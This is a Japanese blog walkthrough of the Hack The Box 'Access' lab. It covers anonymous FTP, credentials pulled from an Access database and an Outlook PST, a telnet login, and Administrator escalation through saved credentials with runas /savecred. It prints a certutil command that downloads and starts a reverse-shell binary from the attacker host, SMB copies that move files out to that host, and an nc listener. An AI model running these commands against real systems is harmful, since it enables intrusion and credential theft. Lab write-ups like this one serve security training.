HTB: Access Writeup

Hack The Box: Accessのwriteup。

一般ユーザーのフラグは割とすんなり取れたが、権限昇格でハマってしまい、ヒントをもとにようやく解けた。

以下はnmapのスキャン結果。

└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-15 08:09 EST
Nmap scan report for 10.129.234.58
Host is up (0.31s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
23/tcp open  telnet?
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: MegaCorp
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 223.15 seconds

21番ポート(FTP)、23番ポート (telnet)、80番ポート (HTTP)が開いていた。

標的IPにブラウザでアクセスしてみたが、画像ファイルが表示されるのみで、特に見るべきものは無さそうだった。

nmapのスキャン結果より、anonymousユーザーとしてFTP接続できるようだったので、anonymous:anonymousでFTP接続してみた。

└─$ ftp $RHOST            
Connected to 10.129.234.58.
220 Microsoft FTP Service
Name (10.129.234.58:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.

BackupsEngineerというフォルダを発見。

ftp> dir
425 Cannot open data connection.
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18  08:16PM       <DIR>          Backups
08-24-18  09:00PM       <DIR>          Engineer
226 Transfer complete.

Backupsフォルダにbackup.mdbというファイルを、EngineerフォルダにAccess Control.zipというファイルをそれぞれ発見したので、ダウンロード。

ftp> cd Backups
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18  08:16PM              5652480 backup.mdb
226 Transfer complete.
ftp> get backup.mdb
local: backup.mdb remote: backup.mdb
ftp> cd Engineer
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-24-18  12:16AM                10870 Access Control.zip
226 Transfer complete.
ftp> get Access Control.zip
local: Control.zip remote: Access
200 PORT command successful.
550 The system cannot find the file specified. 
ftp> get "Access Control.zip"
local: Access Control.zip remote: Access Control.zip

余談だが、最初にbackup.mdbをダウンロードしようとした際、ダウンロードに失敗してしまった。FTPをBinaryモードに切り替えて再度試みたところ、無事ダウンロードできた。

Access Control.zipの中にAccess Control.pstというファイルがあるのを確認できたが、ZIPファイルがパスワードで保護されていたため、取り出せなかった。

└─$ unzip -Z Access\ Control.zip 
Archive:  Access Control.zip
Zip file size: 10870 bytes, number of entries: 1
-rw-a--     2.0 fat   271360 Bx u099 18-Aug-24 01:13 Access Control.pst
1 file, 271360 bytes uncompressed, 10666 bytes compressed:  96.1%
└─$ 7z x Access\ Control.zip 

7-Zip 24.06 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-05-26
 64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)

Extracting archive: Access Control.zip
--
Path = Access Control.zip
Type = zip
Physical Size = 10870

    
Enter password (will not be echoed):
ERROR: Wrong password : Access Control.pst
                         
Sub items Errors: 1

Archives with Errors: 1

Sub items Errors: 1

backup.mdbはMicrosoft Accessのデータベースファイルだった。このファイルの中にZIPファイルのパスワード情報が含まれているかもしれない。

└─$ file backup.mdb         
backup.mdb: Microsoft Access Database

MdbtoolsでAccessデータベースにアクセスしてみたところ、大量のSQLテーブルを発見。

└─$ mdb-sql backup.mdb          
1 => list tables;
+------------------------------+
|Tables                        |
+------------------------------+
|acc_antiback                  |
|acc_door                      |
|acc_firstopen                 |
|acc_firstopen_emp             |
|acc_holidays                  |
|acc_interlock                 |
|acc_levelset                  |
|acc_levelset_door_group       |
|acc_linkageio                 |
|acc_map                       |
|acc_mapdoorpos                |
|acc_morecardempgroup          |
|acc_morecardgroup             |
|acc_timeseg                   |
|acc_wiegandfmt                |
|ACGroup                       |
|acholiday                     |
|ACTimeZones                   |
|action_log                    |
|AlarmLog                      |
|areaadmin                     |
|att_attreport                 |
|att_waitforprocessdata        |
|attcalclog                    |
|attexception                  |
|AuditedExc                    |
|auth_group_permissions        |
|auth_message                  |
|auth_permission               |
|auth_user                     |
|auth_user_groups              |
|auth_user_user_permissions    |
|base_additiondata             |
|base_appoption                |
|base_basecode                 |
|base_datatranslation          |
|base_operatortemplate         |
|base_personaloption           |
|base_strresource              |
|base_strtranslation           |
|base_systemoption             |
|CHECKEXACT                    |
|CHECKINOUT                    |
|dbbackuplog                   |
|DEPARTMENTS                   |
|deptadmin                     |
|DeptUsedSchs                  |
|devcmds                       |
|devcmds_bak                   |
|django_content_type           |
|django_session                |
|EmOpLog                       |
|empitemdefine                 |
|EXCNOTES                      |
|FaceTemp                      |
|iclock_dstime                 |
|iclock_oplog                  |
|iclock_testdata               |
|iclock_testdata_admin_area    |
|iclock_testdata_admin_dept    |
|LeaveClass                    |
|LeaveClass1                   |
|Machines                      |
|NUM_RUN                       |
|NUM_RUN_DEIL                  |
|operatecmds                   |
|personnel_area                |
|personnel_cardtype            |
|personnel_empchange           |
|personnel_leavelog            |
|ReportItem                    |
|SchClass                      |
|SECURITYDETAILS               |
|ServerLog                     |
|SHIFT                         |
|TBKEY                         |
|TBSMSALLOT                    |
|TBSMSINFO                     |
|TEMPLATE                      |
|USER_OF_RUN                   |
|USER_SPEDAY                   |
|UserACMachines                |
|UserACPrivilege               |
|USERINFO                      |
|userinfo_attarea              |
|UsersMachines                 |
|UserUpdates                   |
|worktable_groupmsg            |
|worktable_instantmsg          |
|worktable_msgtype             |
|worktable_usrmsg              |
|ZKAttendanceMonthStatistics   |
|acc_levelset_emp              |
|acc_morecardset               |
|ACUnlockComb                  |
|AttParam                      |
|auth_group                    |
|AUTHDEVICE                    |
|base_option                   |
|dbapp_viewmodel               |
|FingerVein                    |
|devlog                        |
|HOLIDAYS                      |
|personnel_issuecard           |
|SystemLog                     |
|USER_TEMP_SCH                 |
|UserUsedSClasses              |
|acc_monitor_log               |
|OfflinePermitGroups           |
|OfflinePermitUsers            |
|OfflinePermitDoors            |
|LossCard                      |
|TmpPermitGroups               |
|TmpPermitUsers                |
|TmpPermitDoors                |
|ParamSet                      |
|acc_reader                    |
|acc_auxiliary                 |
|STD_WiegandFmt                |
|CustomReport                  |
|ReportField                   |
|BioTemplate                   |
|FaceTempEx                    |
|FingerVeinEx                  |
|TEMPLATEEx                    |
+------------------------------+
125 Rows retrieved

これらのテーブルをCSVとして出力することにした。CSVへの出力にはmdb-exportコマンドが使えるが、この数のテーブルを手動でひとつずつ出力していくのは大変なので、以下の簡単なbashスクリプトを用意した。

└─$ cat export-tables.sh 
#!/bin/bash

tables=$(cat tables.txt)

for table in $tables
do
        mdb-export backup.mdb $table > csv/$table.csv
        echo "Expoting to csv/$table.csv"
done

tables.txtからテーブルの一覧を読み込んで、mdb-exportコマンドでひとつずつCSVファイルに出力するだけの簡単なスクリプトである。

└─$ ./export-tables.sh 
Expoting to csv/acc_antiback.csv
Expoting to csv/acc_door.csv
Expoting to csv/acc_firstopen.csv
Expoting to csv/acc_firstopen_emp.csv
Expoting to csv/acc_holidays.csv
Expoting to csv/acc_interlock.csv
Expoting to csv/acc_levelset.csv
Expoting to csv/acc_levelset_door_group.csv
Expoting to csv/acc_linkageio.csv
Expoting to csv/acc_map.csv
Expoting to csv/acc_mapdoorpos.csv
Expoting to csv/acc_morecardempgroup.csv
Expoting to csv/acc_morecardgroup.csv
Expoting to csv/acc_timeseg.csv

-- snipped --

出力したCSVファイルの中にpasswordという文字列が含まれていないか確認。

└─$ grep -ic password *.csv | grep -v ":0"                                 
auth_user.csv:1
Machines.csv:1
USERINFO.csv:1

結果、auth_userテーブルを出力したauth_user.csvの中に、以下のユーザー名とパスワードを発見。

└─$ cat auth_user.csv   
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,

Access Control.zipの解凍用のパスワードはaccess4u@securityだった。

└─$ 7z x Access\ Control.zip

7-Zip 24.06 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-05-26
 64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)

Extracting archive: Access Control.zip
--
Path = Access Control.zip
Type = zip
Physical Size = 10870

    
Enter password (will not be echoed):
Everything is Ok

Size:       271360
Compressed: 10870

ZIPファイルを解凍して、Access Control.pstを取り出せた。

Access Control.pstはOutlookのPSTファイルだった。

└─$ file 'Access Control.pst'                            
Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e

Libpstreadpstコマンドで、PSTファイルをmbox形式に変換。

└─$ readpst Access\ Control.pst
Opening PST file and indexes...
Processing Folder "Deleted Items"
        "Access Control" - 2 items done, 0 items skipped.

mboxファイルを開いたところ、以下のメール文面を発見。

└─$ cat 'Access Control.mbox'
From "john@megacorp.com" Thu Aug 23 19:44:07 2018
Status: RO
From: john@megacorp.com <john@megacorp.com>
Subject: MegaCorp Access Control System "security" account
To: 'security@accesscontrolsystems.com'
Date: Thu, 23 Aug 2018 23:44:07 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--boundary-LibPST-iamunique-1563762339_-_-"


----boundary-LibPST-iamunique-1563762339_-_-
Content-Type: multipart/alternative;
        boundary="alt---boundary-LibPST-iamunique-1563762339_-_-"

--alt---boundary-LibPST-iamunique-1563762339_-_-
Content-Type: text/plain; charset="utf-8"

Hi there,

 

The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.  Please ensure this is passed on to your engineers.

 

Regards,

John

上記より、securityというユーザー名と4Cc3ssC0ntr0llerというパスワードを確認できた。

security:4Cc3ssC0ntr0llerで標的マシンにtelnet接続できた。

└─$ telnet $RHOST    
Trying 10.129.234.60...
Connected to 10.129.234.60.
Escape character is '^]'.

Welcome to Microsoft Telnet Service 

login: security
login: security
password: 

*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>whoami
access\security

C:\Users\security>hostname
ACCESS

一般ユーザーのフラグC:\Users\security\Desktop\user.txtを入手。

C:\Users\security\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 8164-DB5F

 Directory of C:\Users\security\Desktop

08/28/2018  06:51 AM    <DIR>          .
08/28/2018  06:51 AM    <DIR>          ..
01/15/2025  01:07 PM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,331,317,760 bytes free

続いて権限昇格であるが、その前に、telnetの動作がもっさりしていたので、リバースシェルを仕込むことにした。

が、グループポリシーによってリバースシェルの実行が妨げられてしまった。

C:\Users\security>certutil -urlcache -split -f http://10.10.16.174/shell64-nonstaged.exe shell64-nonstaged.exe & start shell64-nonstaged.exe
****  Online  ****
  0000  ...
  1c00
CertUtil: -URLCache command completed successfully.
This program is blocked by group policy. For more information, contact your system administrator.

保存先のディレクトリを変更して再度試してみたが、駄目だった。

ので、リバースシェルは一旦おいて、引き続きtelnetで作業することにした。

列挙の結果、標的マシンにはZKAccess3.5というアプリケーションがインストールされていることが分かった。

C:\Users\security>powershell -ep bypass "Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname"

displayname                                                                                                                                                                                                       
-----------                                                                                                                                                                                                       
                                                                                                                                                                                                                  
Fingerprint Online SDK 5.3.0.21                                                                                                                                                                                   
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
Update for Microsoft .NET Framework 4 Extended (KB2468871)                                                                                                                                                        
                                                                                                                                                                                                                  
Security Update for Microsoft .NET Framework 4 Extended (KB2487367)                                                                                                                                               
Update for Microsoft .NET Framework 4 Extended (KB2533523)                                                                                                                                                        
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
Update for Microsoft .NET Framework 4 Extended (KB2600217)                                                                                                                                                        
                                                                                                                                                                                                                  
                                                                                                                                                                                                                  
Security Update for Microsoft .NET Framework 4 Extended (KB2656351)                                                                                                                                               
                                                                                                                                                                                                                  
Security Update for Microsoft .NET Framework 4 Extended (KB2736428)                                                                                                                                               
Security Update for Microsoft .NET Framework 4 Extended (KB2742595)                                                                                                                                               
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17                                                                                                                                                      
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161                                                                                                                                                    
ZKAccess3.5 Security System 

-- snipped--
c:\>dir
 Volume in drive C has no label.
 Volume Serial Number is 8164-DB5F

 Directory of c:\

08/23/2018  10:05 PM    <DIR>          inetpub
07/14/2009  03:20 AM    <DIR>          PerfLogs
08/23/2018  08:53 PM    <DIR>          Program Files
08/24/2018  07:40 PM    <DIR>          Program Files (x86)
08/24/2018  07:39 PM    <DIR>          temp
08/21/2018  10:31 PM    <DIR>          Users
07/14/2021  01:04 PM    <DIR>          Windows
08/22/2018  07:23 AM    <DIR>          ZKTeco
               0 File(s)              0 bytes
               8 Dir(s)   3,346,477,056 bytes free

c:\>cd ZKTeco

c:\ZKTeco>dir
 Volume in drive C has no label.
 Volume Serial Number is 8164-DB5F

 Directory of c:\ZKTeco

08/22/2018  07:23 AM    <DIR>          .
08/22/2018  07:23 AM    <DIR>          ..
08/23/2018  10:56 PM    <DIR>          ZKAccess3.5
               0 File(s)              0 bytes
               3 Dir(s)   3,346,477,056 bytes free

聞いたことのないアプリケーションだが、searchsploitによるとZKAccess3.5.3には権限昇格の脆弱性 (windows/local/40323.txt)があるらしい。

└─$ searchsploit zkaccess      
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
ZKTeco ZKAccess Professional 3.5.3 - Insecure File Permissions Privilege Escalation                                                                                              | windows/local/40323.txt
ZKTeco ZKAccess Security System 5.3.1 - Persistent Cross-Site Scripting                                                                                                          | jsp/webapps/40328.html
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

以下はPoC。

└─$ cat 40323.txt            
ZKTeco ZKAccess Professional 3.5.3 Insecure File Permissions


Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd
Product web page: http://www.zkteco.com
Affected version: 3.5.3 (Build 0005)

Summary: ZKAccess 3.5 is a desktop software which is suitable
for small and medium businesses application. Compatible with
all ZKAccess standalone reader controllers, the software can
simultaneously manage access control and generate attendance
report. The brand new flat GUI design and humanized structure
of new ZKAccess 3.5 will make your daily management more pleasant
and convenient.

Desc: ZKAccess suffers from an elevation of privileges vulnerability
which can be used by a simple authenticated user that can change the
executable file with a binary of choice. The vulnerability exist due
to the improper permissions, with the 'M' flag (Modify) for 'Authenticated Users'
group.


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Microsoft Windows 7 Professional SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5361
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5361.php


18.07.2016

--


C:\ZKTeco>icacls ZKAccess3.5
ZKAccess3.5 BUILTIN\Administrators:(I)(F)
            BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
            NT AUTHORITY\SYSTEM:(I)(F)
            NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
            BUILTIN\Users:(I)(OI)(CI)(RX)
            NT AUTHORITY\Authenticated Users:(I)(M)
            NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

Successfully processed 1 files; Failed processing 0 files 

どうやらファイル群のパーミッションに起因する脆弱性で、認証済みのユーザーであれば、ZKAccess3.5フォルダ内のファイルを編集できるらしい。(Authenticated UsersグループにM (Modify) フラグが付与されているため)

標的マシンのZKAccess3.5フォルダのパーミッションを確認してみたが、PoCにあるような設定の不備はなかったため、この脆弱性は使えそうになかった。

c:\ZKTeco>icacls ZKAccess3.5
ZKAccess3.5 NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                BUILTIN\Administrators:(I)(OI)(CI)(F)
                BUILTIN\Users:(I)(OI)(CI)(RX)
                BUILTIN\Users:(I)(CI)(AD)
                BUILTIN\Users:(I)(CI)(WD)
                CREATOR OWNER:(I)(OI)(CI)(IO)(F)

列挙を続けたが、ほかに権限昇格の突破口は見つからなかった。

なので、アプリケーションの設定ファイル等から、認証情報を窃取する方向へと切り替えてみた。

ZKAccess3.5フォルダの目ぼしいファイルを攻撃マシンにコピーして調べてみることにした。

以下の手順で標的マシンから攻撃マシンへファイルをコピーした。

impacket-smbserverで攻撃マシンのディレクトリをSMB共有フォルダに設定。

sudo impacket-smbserver myshare ./

標的マシンのZKAccess3.5フォルダから、攻撃マシン上のSMB共有フォルダへファイルをコピー。

copy Access.mdb \\10.10.16.174\myshare
copy access.sql \\10.10.16.174\myshare
copy droptable.sql \\10.10.16.174\myshare
copy *.xml \\10.10.16.174\myshare
copy *.ini \\10.10.16.174\myshare
copy *.config \\10.10.16.174\myshare
copy *.manifest \\10.10.16.174\myshare
copy *.txt \\10.10.16.174\myshare
copy *.bat \\10.10.16.174\myshare
copy Access.pdb \\10.10.16.174\myshare

コピーしたファイルを調べてみたが、権限昇格につながりそうな認証情報等は見つからなかった。

この辺で行き詰ったので、ヒントを見てみた。

以下ヒント。

  • Clear Text Credentials
  • Information Disclosure
  • Anonymous/Guest Access
  • Sensitive Data Exposure
  • Password Reuse
  • Password Dump

どれも設定不備やパスワードに関するものばかりである。ということは、やはりシステム上のどこかに権限昇格につながる認証情報が潜んでいるのだろう。

しばらくググっていたところ、cmdkeyコマンドの存在を知った。

さらに調べたところ、cmdkey /listでシステムに保存されているクレデンシャルを確認し、高権限ユーザーのクレデンシャルが保存されていた場合、runasコマンドの/savecredオプションを使用することで、任意のコマンドやプログラムを高権限で実行できるらしいことが分かった。(参考)

さっそく確認したところ、Administratorユーザーのクレデンシャルが保存されていることが判明。

C:\Users\security>cmdkey /list

Currently stored credentials:

    Target: Domain:interactive=ACCESS\Administrator
                                                       Type: Domain Password
    User: ACCESS\Administrator

リバースシェルを仕込んで、runasコマンドを/savecredオプション付きで実行してみた。

runas /savecred /user:ACCESS\administrator c:\users\security\shell64-nonstaged.exe

すると、シェルが管理者権限で起動した。

└─$ rlwrap nc -nvlp 53
listening on [any] 53 ...

whoami
connect to [10.10.16.174] from (UNKNOWN) [10.129.234.67] 49159
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
C:\Windows\system32>whoami
access\administrator

rootユーザーのフラグc:\Users\Administrator\Desktop\root.txtを入手できた。

c:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 8164-DB5F

 Directory of c:\Users\Administrator\Desktop

07/14/2021  02:40 PM    <DIR>          .
07/14/2021  02:40 PM    <DIR>          ..
01/19/2025  07:48 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,346,792,448 bytes free

Leave a Reply

Your email address will not be published. Required fields are marked *


The reCAPTCHA verification period has expired. Please reload the page.